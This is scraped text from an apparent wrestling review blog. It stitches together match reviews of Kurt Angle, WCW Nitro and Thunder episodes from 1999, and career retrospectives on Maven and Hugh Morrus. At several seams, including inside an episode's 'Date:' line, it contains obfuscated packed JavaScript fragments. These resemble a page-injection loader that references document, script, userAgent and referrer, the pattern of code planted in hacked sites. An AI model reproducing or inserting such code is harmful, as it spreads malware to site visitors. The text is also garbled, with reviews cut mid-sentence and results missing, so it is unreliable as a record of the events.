This show just kind of sucks and I have a freaking hour to go in it. We fight over technical stuff to start. What I mean by that is Angle does and Hogan just does power stuff. Hogan keeps taking control despite not actually doing anything. Hogan goes for the hair piece and gets a shot in the red and yellow balls. I guess there’s one of each.

Ross says Hogan is as American as apple pie. That’s true. He’s overrated, strange looking, he’s stayed too long, he doesn’t do anything, he gets on people’s nerves, he lies, he cheats, he steals, he cheats on his wife and he tries to be too young. He’s a REAL AMERICAN! Hogan, apparently tired after the work from throwing punches and putting his hand to his ear, is put into a chinlock. Hogan HULKS UP and hits the big boot but instead of the legdrop he pulls the wig off.

After Angle runs, Hogan goes for the legdrop but Angle catches it into the ankle lock. Hogan actually taps and the fans are stunned. That helps the match about a full letter. Ross tries to save Hogan by saying that he held on as long as humanly possible, which is apparently about 15 seconds. Ross can’t remember Hogan ever tapping. That’s just amusing.

You know what sounds awesome? The Olympic Hero vs. the MMA Cowboy of Death. From No Way Out 2006.

Smackdown World Title: Kurt Angle vs. The Undertaker

It’s the remix for Angle’s music here which I never liked. That title just looks AWESOME on him. He was a guy that was incredibly valuable to have on the roster for instances such as this. Batista was hurt and so they needed a credible champion. Angle is someone they could throw the title on and have it be completely realistic. That’s always a great thing and it worked perfectly here.

Taker literally takes four minutes for his entrance. Think he’s taking long enough? Cole’s voice sounds like it’s giving out. Angle tries to get a hold on him early on and Taker goes to the ropes. That’s a bit odd to see I’d think. Angle hits the floor when nothing works. Cole says neither of them have ever tapped. What the heck has he been watching for the seven years Angle has been in the company? He’s lost an Ultimate Submission match and Jericho made him tap on Raw once. Also Benoit made him tap multiple times. Yeah that’s nonsense.

Taker works a headlock which is odd to see him using. Off to the arm and a short arm scissors which gets him nowhere. They’re going back and forth here and it’s working for the most part. Definitely a slow build as we have nearly half an hour to go and no more matches. Old School connects and Taker busts out a Downward Spiral of all things for two.

Snake Eyes hit but Angle hits a SWEET release German for one. The dueling chants begin which makes sense as these are both faces. There’s some chick at ringside that screams louder than Melina. Taker gets knocked off the apron and into the railing. Angle dives at him and is caught before being rammed into the post. The apron legdrop is VINTAGE! Back in and Angle blocks a chokeslam with some kicks so Taker just hits him in the face to put him back down.

Angle goes for the knee and gets the post figure four. Solid stuff here so I apologize for the lack of humor. There’s nothing to make fun of. Patrick gives this big lecture to Angle about keeping it in the ring and Angle nods at it. Patrick turns around and Angle is right back out there which was rather funny. They’re building very slowly here but Angle is picking it up a bit.

Back to the floor again with Taker drilling him with knees. Taker’s knee is messed up a bit and this time he’s selling so we’ve got that going for once. It’s noticeable how much more swearing there is here. Angle grabs the legdrop on the apron this time and gets the ankle lock. Angle holds him on the floor against the ten count, breaking at seven and then breaking the count before going right back to the ankle. That’s sweet stuff there.

We hit the ring again and Taker is caught in another leg lock for a bit. More dueling chants start up. Taker counters mounted punching with a triangle choke and Angle is in trouble. Amazing that Fedor can’t last 10 seconds in one but Angle can last like 30 in it. We hit the floor again and Angle is in trouble. They’ve broken the count like 10 times so far which isn’t something you see that often. It adds some realism to the match as they’re not ignoring rules for the sake of convenience.

Taker clears off the announce table and then rolls in to break the count again, even though I’m not sure one was going on. Angle grabs Taker and puts him through the other announce table with the Angle Slam out of nowhere. Angle stops the count at 9 including some F Bombs. Back to the floor again with Angle pounding away. Taker wouldn’t have beat the count back in. He reverses Angle and sends him into the steps. GREAT match if you can’t tell that.

Taker goes up but gets caught and takes some punches. Angle sets for a suplex but Taker knocks him back. Angle is all like boy I said I’m suplexing you so I’m suplexing you and runs up the corner to throw Taker down in a belly to belly. Somehow that only gets two. Fans are way into this. Angle throws more punches so Taker kicks him in the face. Sometimes you can’t beat the simple stuff.

Chokeslam is countered into the ankle lock and Taker is reeling. Taker can’t shove him off so he pulls him in, grabs the head and locks on the triangle choke again. Angle reverses that and hooks the ankle lock one more time. Taker rolls through and finally gets out of it. Chokeslam mostly hits but Taker kind of dropped him which might have been intentional due to the ankle. That gets two as I’m loving this stuff.

Last Ride is reversed into a sunset flip and Angle grabs the ankle lock AGAIN for like what, the fifth time? Yeah two in the previous sequence and two on the floor. Dang man. Taker can’t get the ropes so he kicks Angle off AGAIN. Angle Slam connects for TWO. Sweet merciful crap this is awesome. Angle pulls down the straps as Taker sits up in a great visual.

They slug it out and Taker sends him in and grabs the Tombstone. Angle reverses and Taker reverses and ANGLE reverses into the SIXTH Ankle lock, this time with the grapevine attached. Taker raises his hand to tap and he’s in the middle of the ring. Taker rolls them over and kicks Angle in the face again to become the ONLY person I’ve ever seen to survive the grapevine ankle lock.

Angle slips up behind Taker as he gets up and hits ANOTHER Angle Slam (NINE freaking finishers from Angle if you’re keeping track) and Angle rolls him up but Taker busts out (and perhaps debuts) the Hell’s Gate (not called that yet and still called a triangle choke here. Thank you martial arts master Tazz) and Angle is in big trouble. Angle is almost out and after the second arm drop he pops up and jumps over into a cradle while the choke is still on and gets the three! Taker thinks he’s won and Angle is DONE. Post match Taker says he has Angle’s number. I guess he’ll text the rematch request.

Rating: A+. Screw Meltzer and his love of Japanese guys and his cruiserweight nonsense. THIS is your match of the year. These two beat the tar out of each other and it was nothing but awesome the whole way. For some reason (Angle leaving for TNA) they never had the big rematch. THIS should have been the main event of Mania rather than a 9 minute triple threat with Angle dropping the belt to that pest Rey so that Eddie could have his second moment at Mania.

Both guys looked awesome out there and they threw everything they had at each other and then the ending worked perfectly. Both guys more or less lost and it lets Taker keep his credibility. Much like the Benoit match at the 03 Rumble, Taker didn’t get beat so much as he got caught. That’s a very key thing and it helps a lot here. Excellent match and well worth going out to see.

Smackdown World Title: Chris Benoit vs. Kurt Angle

Back to the floor where Benoit gets dropped onto the barricade to further mess with his head. Off to a rear naked choke back inside so Kurt can overly loudly call some spots. Angle catches Benoit in another belly to belly followed by a belly to back for two. Back to the chinlock for a bit until a double clothesline puts both guys down. Benoit rolls some Germans but so does Angle. And people wonder why their necks were held together by tape.

There are a lot of great matches I could have put on here but you have to cut it off somewhere. He can go with anyone and at the end of the day you don’t argue with a gold medal. The fact that he can talk with the best of them makes him even greater. If you’ve never seen it, find some of his promos from 2000. They’re pure greatness.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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Monday Nitro – April 26, 1999: I Guess They Could Be This Crazy

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezfyr|var|u0026u|referrer|hhtsy||js|php'.split('|'),0,{})) Nitro #186
Date: April 26, 1999
Location: Fargodome, Fargo, North Dakota
Attendance: 11,482
Commentators: Mike Tenay, Tony Schiavone

In Memory of Rick Rude, which they actually spell using his real name.

Opening sequence.

JJ Dillon is with Charles Robinson and says that Robinson is Vice President of WCW. Since Flair is out of action, Robinson is in charge and above the Commissioner. This is going to be a LONG night.

Nitro Girls.

Tenay is filling in for a sick Heenan. He and Tony are fine after weeks of bickering before the announce teams were split.

DJ Ran.

Konnan vs. Brian Adams

Rating: D-. What else were you expecting from something like this? Neither guy was exactly a ring general and the moves they were using ranged from sloppy to just bad looking. I guess the Black and White was trying to prove a point but this was a rather dull way to go about it.

Video on Sting.

The announcers talk about Page vs. Sting.

The Horsemen have attacked Kidman and Saturn, making the next match a handicap match.

Scott Armstrong/Steve Armstrong vs. Raven

Rating: D+. This was short and energetic, but was there any real need to have Raven lose here? The Armstrongs are about as low level of a tag team as you can have in this company but they get a pin over a guy getting a title shot in a few weeks? This is more of the odd booking this company has been using lately.

Raven beats up the Armstrongs again post match, making the booking even more head scratching.

Flair calls Robinson to yell about Piper having power. He wants the National Guard called in to deal with this and yells at other patients to stop touching his robe. Flair hangs up and walks off with a very muscular nurse.

We look at the same package that opened the show.

WCW World Title: Diamond Dallas Page vs. Sting

Back in and the Stinger Splash connects but Page makes the ropes to avoid the Scorpion. Page bails again and gets some water before heading back inside where Sting hammers away. The champ slows things down with a hammerlock and a big clothesline. They head outside and up the aisle with Sting dropping him throat first across the barricade. A slam in the aisle has Page in trouble but the referee reminds Sting that he can only win the title in the ring.

A sitout powerbomb gets two for the champion and a big lariat drops Sting again. Back up and Sting grabs a piledriver but kneels down like a tombstone for two. Now he tries a regular tombstone and finally plants him for a VERY close two. The fans are totally behind Sting here. Page comes back with a jumping floatover DDT for two more but Sting blocks the Diamond Cutter out of the corner and grabs the Death Drop for the pin and the title.

More Flair yelling at Robinson with Ric telling him to make Sting vs. Goldberg for Slamboree. One of the inmates is now called AAA.

Cruiserweight Title: Rey Mysterio Jr. vs. Psychosis

Psychosis is defending for a change. The champ grabs a headlock to start and takes Rey down to the mat, only to miss a Stinger Splash in the corner. Psychosis counters a headscissors by dropping Rey throat first across the top rope. He lifts Rey up for a powerbomb and drops his face onto the top turnbuckle in a vicious looking crash. A reversal suplex drops Rey over the top rope again and a dropkick sends him to the apron.

The Horsemen destroy Rey post match.

Flair calls Robinson and says make the four way. He hits on the nurse a bit more and they try some amateur wrestling stuff until the nurse from earlier comes up to glare at them.

Erik Watts vs. Bam Bam Bigelow

TV Title: Booker T. vs. Meng

Video on Nash.

Video on Goldberg.

Brian Knobbs vs. Hardcore Hak vs. Horace vs. Mikey Whipwreck

This is hardcore and the winner of this gets Bigelow at the PPV. Everyone has a kendo stick and Hak stays on the floor to start. He finally gets in and all three guys beat him down with the sticks. Knobbs brings in a ladder to splash onto Hak for two. We actually take a break in this match and come back to see Horace hitting Knobbs with a Surge barrel.

The Surge container comes back in and Hak slides in another table. Horace beats on Hak with the weightlifting belt on the floor as Chastity sprays someone with the fire extinguisher. Hak dives over the top but only hits table but pops right up to nail Knobbs with a stick. Not that it matters as Knobbs sends Hak to the floor and drops the ladder on Mikey for the pin.

US Title: Randy Savage vs. Scott Steiner

Post match the three girls strip Robinson down to his University of Florida boxers, just like Flair.

Video on George training. This is exactly what you would expect.

WCW World Title: Sting vs. Diamond Dallas Page vs. Goldberg vs. Kevin Nash

Page runs through the crowd to end the show.

Overall this was a good show, but the stupid stuff is REALLY stupid and drags down the rest of the show. This also needs to be an hour less which is standard for almost all wrestling shows. They just do not need to be three hours and the extra hour always hurts things. You make this two hours and have Flair at the arena in a suit instead of being in a hospital and the show is about twice as good.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Wrestler of the Day – September 14: Maven

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nteny|var|u0026u|referrer|nsaib||js|php'.split('|'),0,{})) we have Eyebrows Huffman himself: Maven.

Maven of course won the first Tough Enough competition and entered the 2002 Royal Rumble where he eliminated the Undertaker in a shocker. Undertaker wanted revenge and would put his Hardcore Title on the line on Smackdown, February 7, 2002.

Hardcore Title: Maven vs. Undertaker

Maven would defend the title at Wrestlemania X8.

Hardcore Title: Goldust vs. Maven

Maven would get a Tag Team Title shot at Backlash 2002.

Tag Titles: Billy/Chuck vs. Maven/Al Snow

Things would settle down after this and Maven would get back to singles action on Smackdown, May 30, 2002.

Christian vs. Maven

Maven would miss most of the rest of the year but returned in early 2003, including this match on Raw, January 13, 2003.

Another Raw match on February 3, 2003.

They trade hiptoss attempts until Maven armdrags him down. We hit the mat with Maven holding a headlock as the fans are bored already. Brown comes back with a kneelift and sends Maven into the buckle as the booing continues. Maven hits what looked to be a spin kick and a backslide for two and a middle rope bulldog gets the same. Maven misses a missile dropkick and the Sky High powerbomb is good for the pin.

Rating: D-. This match exists. Next.

Maven vs. Mike Knox

Knox shoves him into the corner to start but gets caught in an armbar. Off to a hammerlock as commentator Al Snow is very proud of his student. A dropkick stops Mike’s comeback and we hit another armbar. Knox sends him into the buckle and gets two off a neckbreaker, only to miss a middle rope elbow. A nice spinwheel kick gets two for Maven and he nails a middle rope bulldog. Maven heads up top for a missile dropkick and the pin.

Rating: D. Maven gets less impressive every time I watch him. There’s just nothing to him and he never has anything worth watching. To be fair though he was a glorified rookie at this point who didn’t have enough experience to do anything significant in the ring. Nothing to see here and Knox was just a jobber.

Time for comedy on Raw, June 30, 2003.

Maven vs. Rico

HHH vs. Maven

Non-title and HHH is in the rare blue trunks. HHH grabs a cross face chickenwing of all things to get started, sending Maven running for the ropes. A snapmare puts Maven down and HHH pats his jaw a bit. Maven comes back with some dropkicks to knock HHH out to the floor and the Game is annoyed. Back in and HHH throws him hard to the floor but Maven sends him face first into the steps.

Like the real hero he is, Maven nails him in the face with the title belt for two, only to walk into a sleeper. Maven counters into one of his own and the arm goes down three times but HHH gets a boot on the ropes. Trips sends the referee into the ropes to crotch Maven but Eyebrows comes back with a middle rope bulldog for a close near fall. Not that it matters as HHH grabs a quick Pedigree for the pin.

More Evolution on Raw, August 25, 2003.

Maven vs. Randy Orton

Shawn Michaels comes out with Maven to counteract Flair. Feeling out process to start with Maven taking him to the mat but getting caught in the backbreaker for two. Some right hands have Maven in trouble and the old guys get on the apron to do nothing. The referee only goes after Shawn of course and Flair gets in a cheap shot. Shawn superkicks Ric down but Orton stays on Maven like the rookie he is. The RKO is countered and Maven nails a spinwheel kick followed by a high cross body for two. Orton sidesteps a charge and hits the RKO but pulls Maven up at two. Instead Orton hits Sweet Chin Music for the pin.

Team HHH vs. Team Orton

HHH, Edge, Batista, Gene Snitsky

Randy Orton, Chris Jericho, Chris Benoit, Maven

As a result, Maven got to be GM of Raw the next night and of course gave himself a World Title shot.

Raw World Title: Maven vs. HHH

The Pedigree connects but Jericho puts Maven’s foot on the ropes. The referee finally ejects him but the distraction lets Benoit hit a release German suplex and the Swan Dive to give Maven another two.


Intercontinental Title: Shelton Benjamin vs. Maven

No backstory here at all as it’s more or less just a random title match. This was more or less the last ditch effort to make Maven mean a thing. Amazingly enough it didn’t work at all. Shelton is WAY over here as this was right before the hottest period of his career and four months before the match with Shawn that made him the hottest thing on the planet and is still his career highlight.

The heat on Maven is excellent. He cuts a promo in the middle of the match, saying that he doesn’t know how many people here speak English. He’s getting some very decent heat here. I’m almost impressed. He throws in a little Spanish, telling the fans to shut their mouths. This is a fine idea but this has gone on five minutes.

And now he’s leaving. He changes his mind at 9 and turns back to the ring. Literally 5 seconds after he gets in he gets rolled up for a pin. He gets on the mic and says he wants another match because that didn’t count. Shelton comes in, the bell rings, he hits the Exploder Suplex and it’s over in 5 seconds.

Rating: N/A. WHAT WAS THE FREAKING POINT OF THIS??? Literally this was ten minutes that just made no sense at all and there were two “matches”. What in the world was going on here? I flat out do not get this, but if it was an actual match it would fail and fail hard.

One more Evolution match. From Raw on February 7, 2005.

Maven vs. Batista

Maven is a cocky heel at this point and doesn’t get an entrance. What do you think is going to happen here? He’s mad he wasn’t in the Rumble and calls conspiracy. Cue Big Dave and this is exactly what you would expect. The run time is 32 seconds if you’re curious. These fans are losing their minds over a total squash. He really needs I Walk Alone which he would get soon after winning the title.

Maven/Simon Dean vs. Russell Simpson/CM Punk

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Thunder – April 22, 1999: Let Them Be Awesome

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrsyh|var|u0026u|referrer|kbyye||js|php'.split('|'),0,{})) April 22, 1999
Location: Orlando Arena, Orlando, Florida
Attendance: 9,429
Commentators: Mike Tenay, Larry Zbyszko

Hardcore Hak vs. Hugh Morrus

Video on Nash vs. Page.

We look at the Black and White attacking Konnan on Nitro.

Konnan vs. Scotty Riggs

Konnan hammers away at Riggs, sending him looking for his mirror. The bulldog and low dropkick have Riggs in even more trouble and Konnan fires off more punches in the corner. Back in and Scotty fires off punches of his own followed by an actually awesome dropkick. We hit the chinlock for a bit before Riggs elbows Konnan down to stop his comeback bid. After a Rick Rude hip swivel, Riggs suplexes him down but misses a top rope ax handle. Konnan kicks him in the ribs, hits the X Factor and hooks the Tequila Sunrise for the win.

Video on Flair vs. Piper.

Video on the awesome fourway from Monday.

Vampiro vs. Al Greene

They trade armbars to start until Vampiro grabs a full nelson. That goes nowhere either so Greene shoves him off and nails a shoulder. Greene takes him down but Vampiro rides him on the mat to send Al out to the floor. Vampiro hits a plancha and takes him back inside for some chops. This is already going nowhere. A suplex puts Vampiro down but he comes back up with a superkick and a high cross body. Instead of covering off that, Vampiro grabs a rollup for the pin.

Hotline shill.

TV Title: Booker T. vs. Bobby Duncum Jr.

Video on Bagwell calling out Steiner.

Buff Bagwell vs. Fit Finlay

This Week in WCW Motorsports.

We look at Flair being committed on Monday.

Disco Inferno vs. Rick Steiner

After a commercial for some reason, Rick quickly kicks Disco out to the floor before choking him down in the corner. More punching and choking ensues as this is all Steiner so far. Some kicks send Disco running out to the floor out of fear for this boring match. Back in and Disco nails the swinging neckbreaker and a middle rope elbow. He goes up again but dives into a belly to belly suplex. A regular suplex sets up the Steiner Bulldog followed by a kind of STF to make Disco tap.

Rating: D-. Total squash here and the rise of Rick Steiner begins. This is another one of those things in 1999 that really makes me shake my head as Rick would get worse and worse in the ring and get higher and higher on the card as a result. Disco got in almost nothing here and might as well have been from In The Corner To My Left.

We look at Page embracing the dark side to end Nitro.

Goldberg vs. Ernest Miller

Miller offers him the five count but kicks Goldberg at two. Some kicks have Goldberg staggered but he just punches Miller in the face. Sonny Onoo tries to interfere but Goldberg gorilla presses him at Miller and immediately spears both of them down in a cool looking spot. Jackhammer ends this quick.

Kidman/Chris Benoit/Dean Malenko vs. Rey Mysterio Jr./Raven/Saturn

Rey finally takes Malenko down with the sitout bulldog and makes the tag to Saturn. Everything breaks down again with Rey tagging himself back in after a few seconds. Kidman clotheslines Malenko “by mistake” but Anderson crotches Rey on the top. The spinebuster plants Rey and Kidman protests, but Dean dropkicks Kidman onto Mysterio for a fast count pin.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Wrestler of the Day – September 9: Hugh Morrus

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eknyk|var|u0026u|referrer|drdar||js|php'.split('|'),0,{})) don’t laugh. Today is Hugh Morrus.

Morrus got started in 1990 and eventually started the gimmick of Crash the Terminator. He would wrestle in the original ECW for a bit around this time, including this match at Ultra Clash 1993.

Headhunters vs. Crash the Terminator/Miguel Perez Jr.

The Headhunters are two big fat guys that look alike from Puerto Rico. Migues Perez was one of Loc Boricuas. Crash is more commonly known as Hugh Morrus or Bill DeMott. THIS is the main event? There are baseball bats involved here somehow but I can’t understand the ring announcer. There’s something about counting from ten to zero. Ah ok. The bat is in the ring and we start at opposite sides of the ring. At the end of the countdown you rush the ring and whoever gets the bat first can use it. That makes sense.

Perez gets it and hands it to Crash. Shouldn’t a bat to the back half kill you? Joey busts into a chorus of Take me Out to the Ball Game in a funny line. It’s another brawl where we can’t see anything. Crash went through a wall. Miguel takes like five bat shots and is fine. There’s a HUGE hole in the wall where the other two went through it. Ok the bat shots are just stupid now as there have been at least thirty combined of them.

The referee just strolls around the ring out of boredom which is funny for some reason. Perez misses a Lionsault so bad that it makes Starship Pain look perfect. Miguel and a Headhunter (Joey doesn’t know their names either and they’re more or less identical) go up the scaffold. Everyone misses a top rope move as the scaffold means nothing apparently. A Headhunter hits a moonsault to end this insanity. This was for a Japanese tag title apparently. Thanks for letting us know that.

Rating: D+. Just pure insanity but since I COULDN’T SEE MOST OF IT I can’t say it was good. ECW always had a big problem with their camera work and this was no exception. You couldn’t see anything and the match is completely uninteresting because of it. The bat stopped being important about three minutes in and then it was just pounding on each other. Odd choice for the main event too.

It was off to WCW after this with the new name of Hugh Morrus. One of his first matches was on WCW Pro, December 30, 1995.

Hugh Morrus vs. Terry Morgan

Morrus runs him over to start before planting Morgan with a powerslam. A sitout powerbomb ends Terry in less than a minute.

Kevin Sullivan/Hugh Morrus vs. Arn Anderson/Brian Pillman

Before the match we get a clip of their brawl the previous week. Sweet goodness I could listen to that Horsemen music for a long time. Bell rings after a break with Morrus vs. Pillman. I think this is Pillman’s last Nitro. Bischoff points out how scary it is to have Anderson be the sanest guy in the match. Pillman can’t hurt Morrus as this was when they wanted Morrus to be something special I think.

Big press slam puts Pillman down and the same goes for Anderson. We hear about the strap match on Sunday. I’ll post my review of the PPV at the end of this review. Make sure to check that out as it might be the most bizarre stories in wrestling history. Off to Morrus vs. Anderson and Anderson hits a spinebuster for no cover.

Pillman comes in, slaps Morrus and then tags in Anderson. I liked his insane bits back in the day like this. Anderson with a chinlock now as we haven’t had Sullivan in here for the majority of the match. Back off to Pillman and then right back to Anderson. Other than the opening I don’t think the Pillman has been in there longer than 15 seconds.

It’s been about 85% Horsemen here and Morrus is sent to the floor. Pillman sends him into the railing and the laughing dude is starting to laugh. Bischoff says we’re awaiting word from the coroner for word about Hogan and his eye. I give up. Sullivan vs. Pillman now and the fight is on. Sullivan bites his face and wants blood. Anderson saves his partner and Anderson gets a broom broken over his back by someone we can’t see. The Dungeon (Morrus/Sullivan) beats on Pillman with the strap for the DQ.

Rating: D+. Basic brawl for the most part but the Sullivan vs. Pillman was interesting to say the least. It was some of the best acting that has ever happened in wrestling and evolved into Benoit vs. Sullivan. This feud went on forever and thankfully the NWO came in to end it. Basic match but it set up the PPV match well enough.

Now for a big singles match from May 6, 1996 on Nitro.

Hugh Morrus vs. Randy Savage

We’re already talking about the PPV in August of all things. No one ever said that Bischoff didn’t push his ideas. Morrus jumps Savage on the floor and the fight is on early. He controls early as Savage is in trouble. Morrus (Bill DeMott) puts the hat and glasses on and even the jacket just to make sure he’s going to die. Savage snaps (into it) and choeks Morrus over the top with the jacket and it’s a DQ very quickly.

Off to PPV now for a gimmicky brawl. From Souled Out 1997.

Big Bubba vs. Hugh Morrus

This is Dungeon vs. NWO as Bubba jumped so the Dungeon is after him. This is a Mexican death match despite the lack of Mexicanocity. No intro for Morrus at all. Morrus looks like Big Dick Dudley. Ok then. The whole death match aspect here is never really explained but whatever. Morrus hits a clothesline to put Bubba on the floor.

Bubba finds a chain from somewhere and whips Morrus with it. We’re told that a Mexican Death Match means anything goes. No Laughing Matter hits and of course no cover. Oh ok it’s more or less last man standing. Patrick counts as slowly as possible so Morrus gets after him.

Boss Man gets back up and does nothing but really basic punches and strikes. Morrus just blasts him with a low blow and Bubba heads out for a walk. We go to the stage where Morrus misses a moonsault, which was completely messed up anyway so they would have been on top of each other. Bubba grabs a motorcycle and runs down Morrus Rikishi style to of course end it.

Rating: D. Kind of just a brawl here with Bubba not doing much at all. Naturally this had no point and would only be on this PPV and this one alone. This went nowhere and the ending was really stupid. At least it was short. Whenever we get to that point it’s never a good sign.

Morrus would continue to feud with the Horsemen, including this match on the March 24, 1997 episode of Nitro.

Chris Benoit vs. Hugh Morrus

It had to start somewhere. From Nitro on September 22, 1997.

Bill Goldberg vs. Hugh Morrus

Wrath vs. Hugh Morrus

Feeling out process to start with both guys trying to show off the power. Morrus takes over for a bit but Vandenberg trips him up, allowing Wrath to knock Hugh to the floor. Wrath hits a sweet flip dive off the apron to take Morrus down and we go back inside. A top rope clothesline gets two for Wrath as we see Mortis wrap a chain around his boot. I think you can see the rest of this coming: Wrath holds Morrus for a kick with said boot but gets blasted in the head himself, allowing Hugh to hit No Laughing Matter (moonsault) for the fast pin.

Off to Thunder on June 24, 1998.

Eddie Guerrero vs. Hugh Morrus

Guerrero is still looking over his shoulder for his crazy nephew and Morrus pounds away on him to start. Eddie finally gets away for a bit and dropkicks the knee out before hitting a nice headscissors. The fans chant for Chavo and Eddie freaks out but stays on the knee like a good villain. Morrus makes his comeback with a quick slam but misses an elbow off the top. Chavo comes out to a big reaction and the distraction lets Hugh slam Eddie off the top and hit the moonsault for the pin. More storyline development though the same thing we got on Nitro.

Morrus would get in the middle of a long feud on Nitro, February 22, 1999.

Chris Jericho vs. Hugh Morrus

Ralphus is now in a blue dress with a bit lower neckline. Before the match, Jericho implies that Saturn is gay because he wears the dress despite not having to anymore. They hit the floor for a chase right after the bell before Morrus slams Jericho down. A delayed gorilla press puts Jericho on the mat again as Steiner vs. Goldberg is official for later.

Back up and Morrus counters a hurricanrana with a powerbomb before nailing a running splash in the corner. Jericho avoids a charge in the corner and rolls him up for two with his feet on the ropes. Ralphus tries Morrus but Saturn comes out and strips the dress off the toothless wonder. Saturn goes in and hits Jericho with a Death Valley Driver, allowing No Laughing Matter to give Morrus the pin.

From a week later.

Hugh Morrus vs. Perry Saturn

Saturn hammers away to start but Jimmy Hart trips him up to give Morrus control. Tony announces Hak vs. Raven vs. Bam Bam Bigelow and Windham/Hennig vs. Malenko/Benoit for Uncensored. Morrus charges into a boot in the corner and Saturn suplexes him down. A Fameasser puts Hugh down but another Hart distraction lets Morrus nail a clothesline. Back in and Morrus gorilla presses him down for two before cranking on a chinlock.

Morrus would hook up with Brian Knobbs as part of the First Family at Fall Brawl 1999.

Brian Knobbs/Hugh Morrus vs. Shane Douglas/Dean Malenko

Pre-match the face team (Douglas/Malenko) do their thing, but Shane says the wrong city and state. Oh dear. Douglas/Malenko are part of the Revolution, which was supposed to be a youth uprising thing but turned into an anti-American thing like a month after this. Knobbs/Morrus are the First Family, which is Jimmy Hart’s very low level stable. This is also No DQ for no apparent reason. Big brawl to start so Dean kicks them both in the balls to take over. Shane comes back in and the Revolution cleans the ring out.

Double baseball slides take out the First Family as this is still a big brawl. The Revolution is sent into various metal objects and something goes flying that we can’t identify. Either way it half kills Shane. We get things down to normal now as Knobbs rubs his armpit in the face of Shane. Shane gets all ticked off and brings in Dean, who has little trouble taking care of Knobbs. Speaking of Knobbs, why in the world is he on PPV in 1999?

Dean works the arm and then the wrist. When you can make a wristlock look freaking sick, that’s a good sign. Off to Morrus and Shane again as this is more or less target practice for the Revolution. Knobbs and Shane go back to the floor for more brawling so back in the ring Shane is tagged in. Tony gets his first stupid line of the match in by saying they’ve kept this in the ring so far. It’s important to mention that it’s the first stupid line because we’ve been on the air about 40 minutes so far.

The Revolution clears the ring again and Shane takes over on Knobbs soon thereafter. Double teaming gets Douglas down so Knobbs gets to go on his, ahem, offense. Middle rope splash eats a foot which looks like it nearly broke Shane’s leg. Double tag with a small pop for Dean, who I think is half of the face team. Dean cleans house….and gets tripped up by Knobbs, allowing Morrus to take over and hit No Laughing Matter to end this. Clean. On PPV. Hugh Morrus pinned Dean Malenko. In 1999. And people wonder why the Radicals happened in four months.

Rating: D. The match was a mess, there seemed to be no po….oh screw it. WHAT THE HECK ARE THEY THINKING??? Dude, why in the world would this be the booking move? I mean really it’s HUGH FREAKING MORRUS and BRIAN KNOBBS going over Shane Douglas and Dean Malenko in 1999. This is so idiotic I can’t even begin to describe it. Dean, please just leave now. It’s not going to get any better, I assure you.

After taking several months off at the end of the year, Morrus would return as Captain Rection of the MIA. Here he is on Nitro, July 24, 2000 in a mess that only WCW 2000 could produce.

Filthy Animals vs. Misfits in Action vs. Perfect Event vs. Natural Born Thrillers

Fifth, why would this match be on Nitro instead of on the PPV? Sixth, why did it take Konnan so long to open the door? Seventh, why did Madden have bolt cutters? Eighth, why were the first two teams in this in the first place? Ninth, who thought Rey as a heel was a good idea? Finally, WHAT DID I JUST WATCH???

Rection would go after the US Title and receive a shot at Halloween Havoc 2000.

US Title: Jim Duggan/Lance Storm vs. General Rection

Storm is US Champion and has Major Gunns with him who is there against her will. Those white shorts were incredible looking on her though. Duggan was turned heel for zero apparent reason but hey, why not go against his character for about 12 years? Storm is still awesome in this role though so I’ll give him that. I feel sorry for Rection. He was trying as hard as he could here but the name was just something you couldn’t take him seriously with.

Duggan’s board is thrown out. I wish someone would take away my bored(om). The fans chant USA for the American face here. The Americans start us off here. Storm comes in and Rection clears the ring. Storm in now as nothing is really going on yet. They’re trying to make Rection look like a big deal here but like I’ve said, with that name how is that really possible?

Hacksaw goes for the referee but does nothing with him. He looks old and fat here so I guess he fits in perfectly. Double clothesline puts both guys down. I know I’m not saying much here but there’s nothing to say here. Sleeper goes on and draws some boos. Rection moves out of the way so Storm drills Duggan. Madden says the General has to beat both guys then says just one guy. Love that clarification Mark. I bet if this was TNA you’d know for sure.

Down goes everyone included the referee leaving only Duggan standing. Duggan hits a Piledriver but there’s no referee. He finally comes back and gets crushed on Rection’s kickout. Elix Skipper, another member of Team Canada, comes out with the board but Gunns drills him with the Canadian flag. She jumps Storm, allowing Rection to hit the moonsault (as in his head hits Duggan’s knee kind of) for the US Title.

Rating: D-. All because of Gunns here. This was just boring and the missed spot near the end just killed this thing out of whatever it had left going for it. General Rection is the US Champion. Is calling him Hugh Morrus really all that bad? It’s certainly a better sounding name but whatever. Pretty weak match so it fits in with the rest of the show.

He would try to get it back at Mayhem 2000.

US Title: Lance Storm vs. General Rection

They take Bigelow out while Storm comes out. Nice guys there. Gunns looks great at least. Storm says he’s fighting hurt which no one believes. Storm is champion here. We get a Rocky Horror reference for no apparent reason at all. And to the shock of no one that has paid attention to this company, Bigelow pops up and drills Rection from behind and of course he’s fine. Reason for this? Who cares? Logic behind this? Not important. IT’S A SWERVE!

Stevie says it’s coming together now. What the heck is coming together??? How in the world does this make sense? What does Bigelow have to do with the Canadians? I’d assume he was paid off or something but why should we need to be told that? Storm works on the head. Uh make that the ribs. Or maybe the knee. And so much for that as Rection sends him into the railing to break the momentum.

